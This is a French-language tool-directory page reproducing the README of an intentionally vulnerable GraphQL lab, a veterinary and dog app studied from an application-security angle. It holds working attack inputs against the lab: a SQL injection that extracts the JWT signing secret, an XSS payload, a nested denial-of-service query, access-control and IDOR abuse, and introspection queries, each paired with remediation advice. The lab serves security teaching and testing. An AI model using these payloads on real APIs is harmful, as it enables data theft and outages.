Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
poc-graphql — Recherche sur GraphQL d'un point de vue AppSec. | Kitploit
Outils/GitHubGitHub/righettod/poc-graphql
Analyse des VulnérabilitésExploitation d'Applications WebTests de Sécurité des APITests d'IntrusionApprentissage et ÉducationLabs et PratiqueArchived
GitHubrighettod/poc-graphql

poc-graphql

Recherche sur GraphQL d'un point de vue AppSec.

Voir le dépôt
418596il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Build and deploy the image

Table des matières

  • Table des matières
  • Recherche sur GraphQL
    • Objectif
    • Laboratoires
    • Déploiement sur Docker
    • Faiblesses de sécurité
      • Autorisation
        • Problème
        • Recommandation
      • Injection
        • Problème
        • Recommandation
      • Épuisement des ressources
        • Problème
        • Recommandation
      • Exposition de données privées
        • Problème
        • Recommandation
      • Exposition d'informations techniques en cas d'erreur inattendue
        • Problème
        • Recommandation
      • Insecure Direct Object Reference
        • Problème
      • Exposition de l'API à la mauvaise sphère de clients
        • Problème
          • Activation par défaut du point de terminaison WebSocket Subscriptions
          • Activation par défaut du partage des ressources entre origines multiples
Télécharger l’outil
  • Recommandation
  • Requêtes de découverte
  • Références utilisées
    • GraphQL
    • Laboratoires
  • Recherche sur GraphQL

    Objectif

    1. Étudier ce qu'est GraphQL.
    2. Analyser l'utilisation de GraphQL d'un point de vue AppSec (attaques et défenses).
    3. Identifier les faiblesses potentielles exploitables pour des attaques.

    Laboratoires

    Un laboratoire a été créé afin d'étudier les différentes problématiques, celui-ci prend le contexte d'un vétérinaire gérant les soins de santé de chiens.

    Le laboratoire a été développé avec IntelliJ IDEA Community Edition.

    Les domaines utilisés sont les suivants :```text

    Define in host file

    127.0.0.1 localhost 127.0.0.1 domain1.local 127.0.0.1 domain2.local

    root@kitploit:~
    Voici les conditions et hypothèses du laboratoire :
    
    * Un vétérinaire peut être associé à 0 ou N chiens.
    * Un chien peut être associé à 0 ou 1 vétérinaire.
    * Un vétérinaire possède une propriété nommée **Popularity** présente dans le système de stockage (base de données) mais elle ne doit pas être accessible par un client GraphQL car c'est une information sensible.
    * Du point de vue de la consommation de données GraphQL, c'est le vétérinaire. Les informations sur les chiens sont publiques.
    * Le laboratoire est explicitement une application vulnérable dans laquelle plusieurs vulnérabilités ont été implémentées et sont identifiées à l'aide du marqueur `[VULN]` dans les commentaires.
    * Concernant l'authentification, un faux service tiers a été implémenté (via une servlet) et retourne un jeton JWT contenant le nom du vétérinaire dans le jeton.
    
    Une fois démarré via la configuration de lancement présente dans le projet ou la ligne de commande `mvn spring-boot:run`, le laboratoire est disponible sur ces points de terminaison :
    
    * [GraphiQL](http://localhost:8080/graphiql)
    * [GraphQL](http://localhost:8080/graphql)
    
    Pour empaqueter l'application sous forme de fichier jar portable, utilisez la commande `mvn package` (un fichier jar pré-construit est disponible [ici](https://github.com/righettod/poc-graphql/releases)) :
    * Le fichier jar sera créé dans le dossier *target* et sera nommé *graphql-poc.jar*.
    * Utilisez la commande `java -jar graphql-poc.jar` pour exécuter l'application.
    
    ## Déploiement sur Docker
    
    > L'image est publiée chaque jour sur [DockerHub](https://hub.docker.com/r/righettod/poc-graphql)
    
    Pour déployer l'application dans un conteneur Docker, suivez les étapes :
    
    1. Assurez-vous d'avoir `docker` installé.
    2. Clonez le dépôt avec `git clone`.
    3. Placez-vous dans le répertoire cloné.
    4. Construisez l'image Docker en utilisant `docker build -t poc-graphql .`
    5. Une image nommée **poc-graphql:latest** a maintenant été créée sur votre machine.
    6. Exécutez le conteneur avec `docker run -p 8080:8080 poc-graphql:latest`
    7. Accédez au laboratoire via les points de terminaison suivants :
       * [GraphiQL](http://localhost:8080/graphiql)
       * [GraphQL](http://localhost:8080/graphql)
    
    ## Faiblesses de sécurité
    
    ### Autorisation
    
    *contrôle d'accès défaillant*
    
    [CWE-285](https://cwe.mitre.org/data/definitions/285.html)
    
    #### Problème
    
    Étant donné que GraphQL repose sur un point de terminaison unique vers lequel toutes les requêtes sont envoyées et que l'autorisation ne fait pas partie du périmètre de la spécification (pas de fonctionnalités intégrées).
    
    Il revient à l'application de mettre en œuvre une logique d'autorisation.
    
    Dans mon laboratoire, j'ai une vulnérabilité sur ce point car la vérification du jeton d'accès ne vérifie pas que le jeton appartient au vétérinaire passé dans **veterinaryId**.
    
    **Exemple :**
    
    Je demande un jeton d'accès pour **Dr Julien** qui a l'identifiant **3** dans le stockage en envoyant cette requête GraphQL :```javascript
    query getAccessToken {
      auth(veterinaryName: "Julien")
    }
    

    Je reçois le jeton d'accès dans la réponse GraphQL suivante :```javascript { "data": { "auth": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI" } }

    root@kitploit:~
    J'envoie une requête GraphQL à la requête `myInfo(...)` en utilisant le jeton d'accès obtenu, MAIS je spécifie l'identifiant **2** qui est celui de **Dr Benoit** :```javascript
    query brokenAccessControl {
      myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI", veterinaryId: 2){
        id, name, dogs {
          name
        }
      }
    }
    

    Je reçois dans la réponse GraphQL la liste des Dogs associés à Dr Benoit :```javascript { "data": { "myInfo": { "id": 2, "name": "Benoit", "dogs": [ { "name": "Babou" }, { "name": "Baboune" }, { "name": "Babylon" }, ...

    root@kitploit:~
    #### Reco
    
    Avec GraphQL, nous sommes passés d'une matrice d'autorisation utilisant `Rôle x Fonctionnalité` à une sécurité au niveau des données utilisant `Rôle x Données` car il y a aussi un seul point d'accès. L'identité et les rôles de l'utilisateur doivent être transmis à la couche supérieure chargée de récupérer les données (ou d'agir sur celles-ci) afin d'appliquer une vérification utilisant l'identité de l'utilisateur avant de récupérer les données.
    
    ### Injection
    
    [CWE-20](https://cwe.mitre.org/data/definitions/20.html) / [CWE-116](https://cwe.mitre.org/data/definitions/116.html)
    
    #### Problème
    
    Selon la façon dont les informations de la requête/mutation/souscription GraphQL sont utilisées par le serveur GraphQL pour agir sur les magasins de données, il existe une possibilité d'injection.
    
    Dans mes laboratoires, j'ai une vulnérabilité à ce sujet concernant l'injection SQL dans la requête `dogs(namePrefix: String, limit: Int = 500): [Dog!]` car le paramètre **namePrefix** est utilisé dans une concaténation de chaînes pour construire une requête SQL.
    
    **Exemple :**
    
    J'envoie cette requête GraphQL afin de lister le contenu de la table `CONFIG````javascript
    query sqli {
      dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
        id
        name
      }
    }
    

    Je reçois dans la réponse GraphQL le secret utilisé pour signer le jeton JWT ainsi que le nom du chien dont le nom commence par ab :```javascript { "data": { "dogs": [ { "id": 1, "name": "Abi" }, { "id": 2, "name": "Abime" }, { "id": 50, "name": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^" } ] } }

    root@kitploit:~
    À propos de XSS, il est intéressant de noter que la réponse GraphQL reflète le paramètre envoyé en cas d'échec de validation sur la requête envoyée.
    
    **Exemple:**
    
    J'envoie cette requête GraphQL à la query `myInfo(accessToken: String!, veterinaryId: Int!): Veterinary`, je remplace l'identifiant Veterinary (qui est un entier) par une charge utile XSS de type String:```javascript
    query xss {
      myInfo(accessToken: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDU1MDQwfQ.P87Ef-GM99a_vzzbUf2RprUYxFgxgPnSukaVnz22BJ0",
        veterinaryId: "<script>alert('XSS')</script>") {
        id
      }
    }
    

    Je reçois cette réponse GraphQL qui reflète ma charge utile, donc, selon le client GraphQL et son comportement d'échappement/nettoyage, cela peut ouvrir la porte à une XSS :```javascript { "data": null, "errors": [ { "message": "Validation error of type WrongType: argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int' @ 'myInfo'", "locations": [ { "line": 3, "column": 5, "sourceName": null } ], "description": "argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int'", "validationErrorType": "WrongType", "queryPath": [ "myInfo" ], "errorType": "ValidationError", "path": null, "extensions": null } ] }

    root@kitploit:~
    #### Reco
    
    * Appliquer une validation des entrées sur les données reçues via Query/Mutation/Subscription avant de les utiliser
    * S'assurer que le client qui affiche les données issues de la réponse GraphQL applique un échappement/une sanitization sur les données avant de les afficher.
    
    ### Resource exhaustion
    
    [CWE-400](https://cwe.mitre.org/data/definitions/400.html)
    
    #### Problème
    
    Comme le client contrôle la quantité de données demandées, il peut envoyer une requête GrapQL à une query qui provoque un épuisement des ressources sur les stockages appelés par le serveur GraphQL ainsi que sur le serveur GraphQL lui-même pour la sérialisation des données en JSON.
    
    Ce problème peut également se produire en utilisant une mutation en envoyant une grande quantité de données dans les paramètres (une validation des entrées peut être utilisée ici pour prévenir cette attaque).
    
    Ce problème peut également se produire en utilisant une subscription soit :
    
    * Enregistrer un grand nombre d'abonnés et sur chaque subscription exposée.
    * Envoyer une grande quantité de données dans les paramètres utilisés par les subscriptions.
    
    Dans mes laboratoires, j'ai une vulnérabilité sur ce point pour la query, précisément dans la query `allDogs(onlyFree: Boolean = false, limit: Int = 500): [Dog!]` qui est disponible pour les utilisateurs anonymes et récupère le contenu de la base de données concernant les chiens. Comme il existe une relation entre les chiens et un vétérinaire et l'inverse, il est possible d'effectuer des appels en cascade provoquant un épuisement des ressources au niveau SQL sur la base de données.
    
    **Exemple :**
    
    Lorsque j'envoie cette requête, je fais passer mon CPU à 100% pendant plusieurs minutes et ma base de données est locale car c'est une SQLite```javascript
    query dos {
      allDogs(onlyFree: false, limit: 1000000) {
        id
        name
        veterinary {
          id
          name
          dogs {
            id
            name
            veterinary {
              id
              name
              dogs {
                id
                name
                veterinary {
                  id
                  name
                  dogs {
                    id
                    name
                    veterinary {
                      id
                      name
                      dogs {
                        id
                        name
                        veterinary {
                          id
                          name
                          dogs {
                            id
                            name
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
    

    PROOF00

    Recommandation

    Pour Query :

    Selon l'implémentation du serveur GraphQL utilisé, utilisez la protection intégrée fournie pour Maximum Query Depth et Query Complexity (voir les spécifications ici).

    Pour l'implémentation Java, ajoutez ces 2 classes d'instrumentation à la stratégie d'exécution :

    • Protection contre la complexité des requêtes
    • Protection contre la profondeur des requêtes

    Voir cette classe pour un exemple d'utilisation des 2 instrumentation ci-dessus.

    Pour Mutation/Subscription :

    • Utilisez la validation d'entrée pour limiter la taille des données entrantes acceptées.
    • Ajoutez une limite d'abonnés au niveau du code.

    Exposition de données privées

    CWE-359

    Problème

    Avec GrapQL, une fonctionnalité d'introspection est offerte au client pour accéder au schéma de l'API afin de découvrir les données disponibles, les Query, Mutation et Subscription sur celles-ci.

    Remarque : Désactiver l'Introspection place votre serveur en contravention avec la spécification GraphQL et les attentes de la plupart des clients, utilisez donc cette option avec prudence ; préférez filtrer l'accès plutôt que de le désactiver d'un point de vue métier.

    Cela implique que tout client est capable de fouiller le schéma pour voir dans Type si des informations sensibles intéressantes sont exposées (c'est la même remarque concernant les actions relatives aux Mutation ou Subscription exposées).

    En utilisant GraphiQL via le panneau Documentation Explorer ou ce script, il est possible de parcourir le schéma exposé depuis un point d'accès GrapQL.

    Dans mon laboratoire, j'ai, par erreur, exposé l'information popularity considérée comme sensible concernant un vétérinaire dans le Type Veterinary

    Dans mon laboratoire, cette URL permet d'obtenir une copie du schéma.

    Exemple :

    PROOF01

    PROOF02

    PROOF03

    Recommandation

    Une contrainte d'authentification peut être définie sur l'accès au point d'accès GraphQL pour empêcher une exposition à un utilisateur anonyme, mais tout utilisateur authentifié accédera à ce schéma d'informations.

    Même si un client peut voir la structure d'un type exposant des informations sensibles, pour voir ces informations, il doit être autorisé sur la Query/Mutation/Subscription renvoyant ces données.

    Ne mappez pas d'informations sensibles dans le type défini dans le schéma.

    Comme GraphQL matérialise la manière dont le client consommera les données, le GraphQL ne doit pas exposer toutes les données disponibles dans le stockage lié, mais seulement celles utiles pour le client selon le contexte métier de l'API GraphQL qui lui est exposée.

    Exposition d'informations techniques en cas d'erreur inattendue

    CWE-200

    Problème

    Lorsque le serveur GraphQL rencontre une erreur inattendue (E/S avec les stockages, NullPointerException, Timeout...), la réponse indique Internal Server Error(s) while executing query, ce qui donne un indice à l'attaquant qu'il a agi sur le système et provoqué un comportement inattendu.

    Exemple :

    Quand j'envoie cette requête dans mon laboratoire (jeton invalide) :```javascript query testErrorHandling { myInfo(accessToken:"aaaa", veterinaryId: 2){ id, name, dogs { name,veterinary{ name } } } }

    root@kitploit:~
    Je reçois cette réponse qui m'informe que j'ai agi sur le système et provoqué un comportement inattendu. Peut-être, par exemple, que j'ai généré une stack trace dans le journal de l'application et si les fichiers journaux de l'application tournent sur la date (quotidiennement) et non sur la taille, alors je peux envoyer cette requête plusieurs fois pour remplir le disque avec des journaux d'erreur...```javascript
    {
      "data": {
        "myInfo": null
      },
      "errors": [
        {
          "message": "Internal Server Error(s) while executing query",
          "path": null,
          "extensions": null
        }
      ]
    }
    

    Reco

    Retourner une erreur générique si une erreur inattendue est rencontrée, comme par exemple Query cannot be processed!

    Voir un exemple dans cette classe.

    Référence directe à un objet non sécurisée (IDOR)

    CWE-639

    Problème

    Si l'API GrapQL expose des Query/Mutation/Subscription pour lesquelles l'identifiant de données est devinable/prévisible, alors les Query/Mutation/Subscription sont exposées à une attaque IDOR dans laquelle l'attaquant utilisera une liste d'identifiants construite sur mesure pour tenter d'accéder ou d'agir sur des données ayant un identifiant faisant partie de la liste, et l'action réussira si des problèmes d'autorisation sont également présents sur la Query/Mutation/Subscription cible gérant les données.

    Les Query/Mutation/Subscription de l'API GraphQL proposées par mes labs sont vulnérables à IDOR car j'utilise des entiers séquentiels pour les identifiants uniques des Dog et Veterinary.

    Exemple :

    En utilisant l'explorateur de documentation (Documentation Explorer) de GraphiQL, nous voyons que les identifiants sont des entiers simples et sont séquentiels :

    PROOF04

    PROOF05

    Requête pour détecter IDOR :```javascript query detectIDOR { allDogs{ id,veterinary{ id } } }

    root@kitploit:~
    La réponse montre l'identifiant séquentiel pour Chien et Vétérinaire :```javascript
    {
      "data": {
        "allDogs": [
          {
            "id": 1,
            "veterinary": {
              "id": 1
            }
          },
          {
            "id": 2,
            "veterinary": {
              "id": 1
            }
          },
          {
            "id": 3,
            "veterinary": {
              "id": 1
            }
          },
      ...
      {
            "id": 55,
            "veterinary": {
              "id": 2
            }
          },
          {
            "id": 56,
            "veterinary": {
              "id": 2
            }
          },
          {
            "id": 57,
            "veterinary": {
              "id": 2
            }
          },
          {
            "id": 58,
            "veterinary": {
              "id": 2
            }
          },
          {
            "id": 59,
            "veterinary": {
              "id": 2
            }
      ...
    

    Exposition de l'API à la mauvaise sphère de clients

    CWE-668

    Problème

    Lors de l'utilisation d'un serveur d'implémentation GraphQL pour construire votre API GraphQL, il peut arriver que celui-ci active par défaut certaines fonctionnalités qui exposent l'API GraphQL à la mauvaise sphère de clients.

    Activation par défaut du point de terminaison WebSocket des abonnements

    Dans mon laboratoire, c'est le cas car, par défaut, un point de terminaison WebSocket est exposé sur le chemin /subscriptions et ne nécessite aucune authentification (voir cette doc précisément la section Realtime Updates with Subscriptions):

    PROOF08

    Les clients peuvent obtenir un accès aux données de l'API via ce point de terminaison si le schéma déclare des abonnements dans la section Subscription.

    Exemple:

    Je peux voir les abonnements exposés via le schéma:

    PROOF09

    Si j'envoie cette demande d'abonnement pour recevoir un événement de l'abonnement newAssociation:```javascript subscription subscribeToNewAssociation{ newAssociation }

    root@kitploit:~
    Je reçois le message suivant indiquant que, désormais, je recevrai des informations de cet abonnement :```text
    Your subscription data will appear here after server publication!
    

    Et lorsque je crée une association via cette requête de mutation dans un autre navigateur par exemple :```javascript mutation associateDog{ associateDogToMe(accessToken: "eyJ0eXAiOiJKV1Qi...", veterinaryId: 4, dogId: 198){ name } }

    root@kitploit:~
    La réponse de mutation prouve que l'action a été effectuée au niveau des données :```javascript
    {
      "data": {
        "associateDogToMe": {
          "name": "Dobby"
        }
      }
    }
    

    Après un moment, je reçois cette notification en réponse à mon abonnement :```javascript { "newAssociation": "Dog['Dobby'] associated with Veterinary['Maxime']." }

    root@kitploit:~
    ![PROOF10](https://assets.kitploit.com/production/public/readmes/6114/d16d4a36df8b0debf31bba4b07b813cb56241cbe591cd1a474f47aeeeef1eb3d.png)
    
    ##### Activation par défaut du partage des ressources entre origines
    
    Dans mon laboratoire, c'est le cas car, par défaut, [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) est activé et défini sur `*` de sorte que l'API puisse être appelée par n'importe quelle `origin`.
    
    **Exemple :**
    
    Lorsque j'envoie cette requête dans laquelle je spécifie une `origin` différente de *domain1.local* à *domain2.local* :```text
    POST /graphql HTTP/1.1
    Host: domain2.local:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
    Accept: application/json
    Accept-Language: en-GB,en;q=0.5
    Accept-Encoding: gzip, deflate
    content-type: application/json
    origin: http://domain1.local:8080
    referer: http://domain1.local:8080
    Content-Length: 104
    DNT: 1
    Connection: close
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"query":"query testCORS {\n  allDogs{\n    name\n  }\n}\n","variables":null,"operationName":"testCORS"}
    

    Je reçois cette réponse :```text HTTP/1.1 200 OK Connection: close Access-Control-Allow-Origin: * Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Content-Type: application/json;charset=UTF-8 Content-Length: 3562 Date: Sat, 05 Jan 2019 16:23:47 GMT

    {"data":{"allDogs":[{"name":"Abi"},...

    root@kitploit:~
    Call from a browser:
    
    ![PROOF06](https://assets.kitploit.com/production/public/readmes/6114/f3b510f63ccfb02205077f80ab0a3aecc89828e7648fbc57df10315456e1b92b.png)
    
    ![PROOF07](https://assets.kitploit.com/production/public/readmes/6114/d1e1d8b993ca30df19159ce8e9283d90130fd3122beed521a8563cd628b10f82.png)
    
    #### Recommandation
    
    Vérifiez les fonctionnalités activées par défaut et désactivez-les si cela impacte l'exposition de l'API.
    
    Pour le point de terminaison des Abonnements :
    
    * Si vous exposez des abonnements, assurez-vous qu'une authentification et un contrôle d'accès sont en place pour chaque abonnement exposé dans le schéma.
    * Si vous n'exposez pas d'abonnements, désactivez le point de terminaison WebSocket ou bloquez ce point de terminaison au niveau du WAF/serveur d'applications.
    
    Dans mon laboratoire, j'ai dû définir les options suivantes dans ce [fichier de configuration](https://github.com/righettod/poc-graphql/blob/master/src/main/resources/application.properties) :
    
    * Pour CORS : `graphql.servlet.corsEnabled=false`
    * Pour WebSocket : `graphql.servlet.websocket.enabled=false`
    
    ## Requêtes de découverte
    
    Les requêtes suivantes peuvent être utilisées pour obtenir le schéma.
    
    Non détaillé :```javascript
    {
        __schema {
            types {
                name
                kind
                description
                fields {
                    name
                }
            }
        }
    }
    

    Détaillé :```javascript query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } }

    fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } }

    fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue }

    fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }

    root@kitploit:~
    ## Références utilisées
    
    ### GraphQL
    
    * [Site GraphQL](https://graphql.org/)
    * [Tutoriels GraphQL](https://www.howtographql.com/)
    * [Blog DOYENSEC sur les problèmes GraphQL](https://blog.doyensec.com/2018/05/17/graphql-security-overview.html)
    
    ### Laboratoires
    
    * [graphql-spring-boot](https://github.com/graphql-java-kickstart/graphql-spring-boot)
    * [graphql-java-kickstart](https://www.graphql-java-kickstart.com)